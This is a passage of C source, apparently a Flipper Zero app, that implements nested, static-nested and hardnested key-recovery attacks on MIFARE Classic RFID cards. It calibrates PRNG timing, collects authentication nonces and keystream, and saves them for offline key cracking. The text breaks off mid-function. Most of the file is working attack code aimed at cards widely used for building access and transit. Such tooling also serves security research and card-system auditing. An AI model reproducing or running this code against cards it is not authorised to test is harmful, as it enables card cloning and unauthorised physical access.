mifare_nested_worker.c 54 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. // possible sum property values
  13. static uint16_t sums[] =
  14. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  15. void mifare_nested_worker_change_state(
  16. MifareNestedWorker* mifare_nested_worker,
  17. MifareNestedWorkerState state) {
  18. furi_assert(mifare_nested_worker);
  19. mifare_nested_worker->state = state;
  20. }
  21. MifareNestedWorker* mifare_nested_worker_alloc() {
  22. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  23. // Worker thread attributes
  24. mifare_nested_worker->thread = furi_thread_alloc_ex(
  25. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  26. mifare_nested_worker->callback = NULL;
  27. mifare_nested_worker->context = NULL;
  28. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  29. return mifare_nested_worker;
  30. }
  31. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  32. furi_assert(mifare_nested_worker);
  33. furi_thread_free(mifare_nested_worker->thread);
  34. free(mifare_nested_worker);
  35. }
  36. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  37. furi_assert(mifare_nested_worker);
  38. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  39. furi_thread_join(mifare_nested_worker->thread);
  40. }
  41. void mifare_nested_worker_start(
  42. MifareNestedWorker* mifare_nested_worker,
  43. MifareNestedWorkerState state,
  44. NfcDeviceData* dev_data,
  45. MifareNestedWorkerCallback callback,
  46. void* context) {
  47. furi_assert(mifare_nested_worker);
  48. furi_assert(dev_data);
  49. mifare_nested_worker->callback = callback;
  50. mifare_nested_worker->context = context;
  51. mifare_nested_worker->dev_data = dev_data;
  52. mifare_nested_worker_change_state(mifare_nested_worker, state);
  53. furi_thread_start(mifare_nested_worker->thread);
  54. }
  55. int32_t mifare_nested_worker_task(void* context) {
  56. MifareNestedWorker* mifare_nested_worker = context;
  57. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  58. mifare_nested_worker_check(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  60. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  62. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  64. mifare_nested_worker_check_keys(mifare_nested_worker);
  65. }
  66. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  67. return 0;
  68. }
  69. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  70. bool tag_found_notified = false;
  71. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  72. FuriHalNfcTxRxContext tx_rx = {};
  73. MifareNestedNonceType type = nested_check_nonce_type(&tx_rx);
  74. if(type == MifareNestedNonceStatic) {
  75. mifare_nested_worker->context->collecting_type =
  76. MifareNestedWorkerStateCollectingStatic;
  77. if(!tag_found_notified) {
  78. mifare_nested_worker->callback(
  79. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  80. tag_found_notified = true;
  81. }
  82. mifare_nested_worker->callback(
  83. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  84. break;
  85. } else if(type == MifareNestedNonce) {
  86. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  87. if(!tag_found_notified) {
  88. mifare_nested_worker->callback(
  89. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  90. tag_found_notified = true;
  91. }
  92. mifare_nested_worker->callback(
  93. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  94. break;
  95. }
  96. furi_delay_ms(250);
  97. }
  98. nfc_deactivate();
  99. }
  100. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  101. uint8_t* uid = data->uid;
  102. uint8_t uid_len = data->uid_len;
  103. for(size_t i = 0; i < uid_len; i++) {
  104. uint8_t uid_part = uid[i];
  105. furi_string_cat_printf(string, "%02X", uid_part);
  106. }
  107. }
  108. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  109. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  110. mifare_nested_worker_write_uid_string(data, file_path);
  111. furi_string_cat_printf(file_path, ".keys");
  112. }
  113. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  114. furi_string_set(file_path, NESTED_FOLDER "/");
  115. mifare_nested_worker_write_uid_string(data, file_path);
  116. furi_string_cat_printf(file_path, ".nonces");
  117. }
  118. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  119. furi_string_set(file_path, NESTED_FOLDER "/");
  120. mifare_nested_worker_write_uid_string(data, file_path);
  121. furi_string_cat_printf(file_path, ".keys");
  122. }
  123. void mifare_nested_worker_get_hardnested_folder_path(
  124. FuriHalNfcDevData* data,
  125. FuriString* file_path) {
  126. furi_string_set(file_path, NESTED_FOLDER "/");
  127. mifare_nested_worker_write_uid_string(data, file_path);
  128. }
  129. void mifare_nested_worker_get_hardnested_file_path(
  130. FuriHalNfcDevData* data,
  131. FuriString* file_path,
  132. uint8_t sector,
  133. uint8_t key_type) {
  134. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  135. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  136. }
  137. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  138. furi_assert(sector < 40);
  139. if(sector < 32) {
  140. return (sector * 4) + 3;
  141. } else {
  142. return 32 * 4 + (sector - 32) * 16 + 15;
  143. }
  144. }
  145. static MfClassicSectorTrailer*
  146. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  147. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  148. .value;
  149. }
  150. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  151. Storage* storage = furi_record_open(RECORD_STORAGE);
  152. FuriString* temp_str = furi_string_alloc();
  153. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  154. FlipperFormat* file = flipper_format_file_alloc(storage);
  155. bool load_success = false;
  156. uint32_t sector_count = 0;
  157. do {
  158. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  159. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  160. uint32_t version = 0;
  161. if(!flipper_format_read_header(file, temp_str, &version)) break;
  162. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  163. if(version != 1) break;
  164. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  165. if(!furi_string_cmp(temp_str, "1K")) {
  166. mf_data->type = MfClassicType1k;
  167. sector_count = 16;
  168. } else if(!furi_string_cmp(temp_str, "4K")) {
  169. mf_data->type = MfClassicType4k;
  170. sector_count = 40;
  171. } else if(!furi_string_cmp(temp_str, "MINI")) {
  172. mf_data->type = MfClassicTypeMini;
  173. sector_count = 5;
  174. } else {
  175. break;
  176. };
  177. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  178. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  179. bool key_read_success = true;
  180. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  181. MfClassicSectorTrailer* sec_tr =
  182. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  183. if(FURI_BIT(mf_data->key_a_mask, i)) {
  184. furi_string_printf(temp_str, "Key A sector %d", i);
  185. key_read_success = flipper_format_read_hex(
  186. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  187. }
  188. if(!key_read_success) break;
  189. if(FURI_BIT(mf_data->key_b_mask, i)) {
  190. furi_string_printf(temp_str, "Key B sector %d", i);
  191. key_read_success = flipper_format_read_hex(
  192. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  193. }
  194. }
  195. load_success = key_read_success;
  196. } while(false);
  197. furi_string_free(temp_str);
  198. flipper_format_free(file);
  199. return load_success;
  200. }
  201. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  202. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  203. if((c >= '0' && c <= '9')) {
  204. *nibble = c - '0';
  205. } else if((c >= 'A' && c <= 'F')) {
  206. *nibble = c - 'A' + 10;
  207. } else {
  208. *nibble = c - 'a' + 10;
  209. }
  210. return true;
  211. } else {
  212. return false;
  213. }
  214. }
  215. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  216. uint8_t hi_nibble_value, low_nibble_value;
  217. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  218. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  219. *value = (hi_nibble_value << 4) | low_nibble_value;
  220. return true;
  221. } else {
  222. return false;
  223. }
  224. }
  225. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  226. UNUSED(ATQA1);
  227. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  228. if((SAK == 0x08 || SAK == 0x88)) {
  229. return MfClassicType1k;
  230. } else if(SAK == 0x09) {
  231. return MfClassicTypeMini;
  232. }
  233. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  234. //skylanders support
  235. return MfClassicType1k;
  236. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  237. return MfClassicType4k;
  238. }
  239. return MfClassicType1k;
  240. }
  241. uint32_t mifare_nested_worker_predict_delay(
  242. FuriHalNfcTxRxContext* tx_rx,
  243. uint8_t blockNo,
  244. uint8_t keyType,
  245. uint64_t ui64Key,
  246. uint32_t tries,
  247. MifareNestedWorker* mifare_nested_worker) {
  248. uint32_t cuid = 0;
  249. Crypto1* crypto = malloc(sizeof(Crypto1));
  250. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  251. if(tries > 10) {
  252. free(crypto);
  253. return 2; // Too many tries, fallback to hardnested
  254. }
  255. // This part of attack is my attempt to implement it on Flipper.
  256. // Proxmark can do this in 2 fucking steps, but idk how.
  257. // First, we find RPNG rounds per 1000 us
  258. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  259. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  260. free(crypto);
  261. return 1;
  262. }
  263. nfc_activate();
  264. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  265. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  266. furi_delay_us(rtr * 1000);
  267. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  268. // Searching for delay, where PRNG will be near 800
  269. uint32_t nttmp = prng_successor(nt1, 100);
  270. for(i = 101; i < 65565; i++) {
  271. nttmp = prng_successor(nttmp, 1);
  272. if(nttmp == nt2) break;
  273. }
  274. if(!rtr) {
  275. zero_prng_value = i;
  276. }
  277. if(previous && i > previous && i != 65565) {
  278. if(!prng_delay) {
  279. prng_delay = i - previous;
  280. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  281. prng_delay += i - previous;
  282. prng_delay /= 2;
  283. }
  284. }
  285. previous = i;
  286. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  287. // Let's hope...
  288. if(i > 810 && i < 840) {
  289. free(crypto);
  290. return rtr * 1000;
  291. }
  292. }
  293. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  294. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  295. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  296. if(zero_prng_value == 65565) {
  297. free(crypto);
  298. // PRNG isn't pretictable
  299. return 1;
  300. }
  301. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  302. uint32_t limit = 7;
  303. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  304. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  305. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  306. free(crypto);
  307. return 1;
  308. }
  309. nfc_activate();
  310. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  311. uint32_t delay = rtr * 1000 + rtz * 10;
  312. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  313. furi_delay_us(delay);
  314. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  315. // Searching for delay, where PRNG will be near 800
  316. uint32_t nttmp = prng_successor(nt1, 0);
  317. for(i = 1; i < 65565; i++) {
  318. nttmp = prng_successor(nttmp, 1);
  319. if(nttmp == nt2) break;
  320. }
  321. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  322. repeat++;
  323. if(repeat < 5) {
  324. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  325. continue;
  326. }
  327. }
  328. if(i > 2000 && i < 65500) {
  329. uint32_t catch_cycles = (65565 - i) / prng_delay;
  330. if(catch_cycles > 2) {
  331. catch_cycles++;
  332. FURI_LOG_D(
  333. TAG,
  334. "Trying a more accurate value: skipping additional %lu us",
  335. catch_cycles * 1000);
  336. limit += catch_cycles + 2;
  337. rtr += catch_cycles;
  338. }
  339. }
  340. FURI_LOG_D(
  341. TAG,
  342. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  343. i,
  344. delay,
  345. (cycles_to_reset + limit) * 1000);
  346. repeat = 0;
  347. previous = i;
  348. if(i > 810 && i < 840) {
  349. free(crypto);
  350. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  351. return delay;
  352. } else if(i > 840 && i < 40000) {
  353. FURI_LOG_D(TAG, "Trying again: timing lost");
  354. tries++;
  355. free(crypto);
  356. return mifare_nested_worker_predict_delay(
  357. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  358. }
  359. }
  360. }
  361. if(i > 1000 && i < 65000) {
  362. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  363. tries++;
  364. free(crypto);
  365. return mifare_nested_worker_predict_delay(
  366. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  367. }
  368. free(crypto);
  369. return 1;
  370. }
  371. void mifare_nested_worker_write_nonces(
  372. FuriHalNfcDevData* data,
  373. Storage* storage,
  374. NonceList_t* nonces,
  375. uint8_t tries_count,
  376. uint8_t sector_count,
  377. uint32_t delay,
  378. uint32_t distance) {
  379. FuriString* path = furi_string_alloc();
  380. Stream* file_stream = file_stream_alloc(storage);
  381. mifare_nested_worker_get_nonces_file_path(data, path);
  382. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  383. FuriString* header = furi_string_alloc_printf(
  384. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  385. NESTED_NONCE_FORMAT_VERSION,
  386. NESTED_RECOVER_KEYS_GITHUB_LINK);
  387. stream_write_string(file_stream, header);
  388. for(uint8_t tries = 0; tries < tries_count; tries++) {
  389. for(uint8_t sector = 0; sector < sector_count; sector++) {
  390. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  391. if(nonces->nonces[sector][key_type][tries]->collected &&
  392. !nonces->nonces[sector][key_type][tries]->skipped) {
  393. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  394. FuriString* path = furi_string_alloc();
  395. mifare_nested_worker_get_hardnested_file_path(
  396. data, path, sector, key_type);
  397. FuriString* str = furi_string_alloc_printf(
  398. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  399. !key_type ? 'A' : 'B',
  400. nonces->cuid,
  401. furi_string_get_cstr(path),
  402. sector);
  403. stream_write_string(file_stream, str);
  404. furi_string_free(path);
  405. furi_string_free(str);
  406. } else {
  407. FuriString* str = furi_string_alloc_printf(
  408. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  409. for(uint8_t type = 0; type < 2; type++) {
  410. furi_string_cat_printf(
  411. str,
  412. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  413. type,
  414. nonces->nonces[sector][key_type][tries]->target_nt[type],
  415. type,
  416. nonces->nonces[sector][key_type][tries]->target_ks[type],
  417. type);
  418. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  419. for(uint8_t i = 0; i < 4; i++) {
  420. furi_string_cat_printf(str, "%u", par[i]);
  421. }
  422. }
  423. furi_string_cat_printf(str, " sec %u\n", sector);
  424. stream_write_string(file_stream, str);
  425. furi_string_free(str);
  426. }
  427. }
  428. }
  429. }
  430. }
  431. if(delay) {
  432. FuriString* str =
  433. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  434. stream_write_string(file_stream, str);
  435. furi_string_free(str);
  436. }
  437. free(nonces);
  438. furi_string_free(path);
  439. file_stream_close(file_stream);
  440. free(file_stream);
  441. furi_record_close(RECORD_STORAGE);
  442. }
  443. bool mifare_nested_worker_check_initial_keys(
  444. NonceList_t* nonces,
  445. MfClassicData* mf_data,
  446. uint8_t tries_count,
  447. uint8_t sector_count,
  448. uint64_t* key,
  449. uint32_t* key_block,
  450. uint32_t* found_key_type) {
  451. bool has_a_key, has_b_key;
  452. FuriHalNfcTxRxContext tx_rx = {};
  453. for(uint8_t sector = 0; sector < sector_count; sector++) {
  454. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  455. for(uint8_t tries = 0; tries < tries_count; tries++) {
  456. Nonces* info = malloc(sizeof(Nonces));
  457. info->key_type = key_type;
  458. info->block = mifare_nested_worker_get_block_by_sector(sector);
  459. info->collected = false;
  460. nonces->nonces[sector][key_type][tries] = info;
  461. }
  462. }
  463. }
  464. for(uint8_t sector = 0; sector < sector_count; sector++) {
  465. MfClassicSectorTrailer* trailer =
  466. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  467. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  468. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  469. if(has_a_key) {
  470. for(uint8_t tries = 0; tries < tries_count; tries++) {
  471. Nonces* info = nonces->nonces[sector][0][tries];
  472. info->collected = true;
  473. nonces->nonces[sector][0][tries] = info;
  474. }
  475. if(*key_block == 0) {
  476. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  477. if(nested_check_key(
  478. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  479. NestedCheckKeyValid) {
  480. *key = key_check;
  481. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  482. *found_key_type = 0;
  483. }
  484. }
  485. }
  486. if(has_b_key) {
  487. for(uint8_t tries = 0; tries < tries_count; tries++) {
  488. Nonces* info = nonces->nonces[sector][1][tries];
  489. info->collected = true;
  490. nonces->nonces[sector][1][tries] = info;
  491. }
  492. if(*key_block == 0) {
  493. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  494. if(nested_check_key(
  495. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  496. NestedCheckKeyValid) {
  497. *key = key_check;
  498. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  499. *found_key_type = 1;
  500. }
  501. }
  502. }
  503. }
  504. return *key_block;
  505. }
  506. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  507. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  508. Storage* storage = furi_record_open(RECORD_STORAGE);
  509. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  510. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  511. FuriString* folder_path = furi_string_alloc();
  512. FuriHalNfcDevData data = {};
  513. nested_get_data(&data);
  514. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  515. uint64_t key = 0; // Found key for attack
  516. uint32_t found_key_type = 0;
  517. uint32_t key_block = 0;
  518. uint32_t sector_count = 0;
  519. FURI_LOG_I(TAG, "Running static nested attack");
  520. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  521. mifare_nested_worker_write_uid_string(&data, tag_info);
  522. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  523. furi_string_free(tag_info);
  524. if(type == MfClassicType4k) {
  525. sector_count = 40;
  526. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  527. } else if(type == MfClassicType1k) {
  528. sector_count = 16;
  529. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  530. } else if(type == MfClassicTypeMini) {
  531. sector_count = 5;
  532. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  533. }
  534. furi_string_set(folder_path, NESTED_FOLDER);
  535. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  536. furi_string_free(folder_path);
  537. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  538. mifare_nested_worker->callback(
  539. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  540. nfc_deactivate();
  541. free(mf_data);
  542. free(nonces);
  543. return;
  544. }
  545. if(!mifare_nested_worker_check_initial_keys(
  546. nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  547. mifare_nested_worker->callback(
  548. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  549. nfc_deactivate();
  550. free(mf_data);
  551. free(nonces);
  552. return;
  553. }
  554. FURI_LOG_I(
  555. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  556. nonces->tries = 1;
  557. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  558. FuriHalNfcTxRxContext tx_rx = {};
  559. for(uint8_t sector = 0; sector < sector_count; sector++) {
  560. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  561. Nonces* info = nonces->nonces[sector][key_type][0];
  562. if(info->collected) {
  563. FURI_LOG_I(
  564. TAG,
  565. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  566. sector,
  567. mifare_nested_worker_get_block_by_sector(sector),
  568. key_type);
  569. info->skipped = true;
  570. nonces->nonces[sector][key_type][0] = info;
  571. mifare_nested_worker->context->nonces = nonces;
  572. mifare_nested_worker->callback(
  573. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  574. }
  575. while(!info->collected) {
  576. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  577. break;
  578. }
  579. struct nonce_info_static result = nested_static_nonce_attack(
  580. &tx_rx,
  581. key_block,
  582. found_key_type,
  583. mifare_nested_worker_get_block_by_sector(sector),
  584. key_type,
  585. key);
  586. if(result.full) {
  587. FURI_LOG_I(
  588. TAG,
  589. "Accured nonces for sector %u, block %u, key_type: %u",
  590. sector,
  591. mifare_nested_worker_get_block_by_sector(sector),
  592. key_type);
  593. info = nonces->nonces[sector][key_type][0];
  594. info->collected = true;
  595. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  596. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  597. nonces->nonces[sector][key_type][0] = info;
  598. nonces->cuid = result.cuid;
  599. nonces->sector_count = sector_count;
  600. mifare_nested_worker->context->nonces = nonces;
  601. mifare_nested_worker->callback(
  602. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  603. break;
  604. } else {
  605. mifare_nested_worker->callback(
  606. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  607. }
  608. }
  609. }
  610. }
  611. break;
  612. }
  613. mifare_nested_worker_write_nonces(&data, storage, nonces, 1, sector_count, 0, 0);
  614. free(mf_data);
  615. mifare_nested_worker->callback(
  616. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  617. nfc_deactivate();
  618. }
  619. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  620. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  621. Storage* storage = furi_record_open(RECORD_STORAGE);
  622. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  623. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  624. FuriString* folder_path = furi_string_alloc();
  625. FuriHalNfcDevData data = {};
  626. nested_get_data(&data);
  627. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  628. uint64_t key = 0; // Found key for attack
  629. uint32_t found_key_type = 0;
  630. uint32_t key_block = 0;
  631. uint32_t sector_count = 0;
  632. uint32_t cuid = 0;
  633. furi_hal_nfc_activate_nfca(200, &cuid);
  634. FURI_LOG_I(TAG, "Running hardnested attack");
  635. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  636. mifare_nested_worker_write_uid_string(&data, tag_info);
  637. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  638. furi_string_free(tag_info);
  639. if(type == MfClassicType4k) {
  640. sector_count = 40;
  641. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  642. } else if(type == MfClassicType1k) {
  643. sector_count = 16;
  644. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  645. } else if(type == MfClassicTypeMini) {
  646. sector_count = 5;
  647. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  648. }
  649. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  650. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  651. furi_string_free(folder_path);
  652. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  653. mifare_nested_worker->callback(
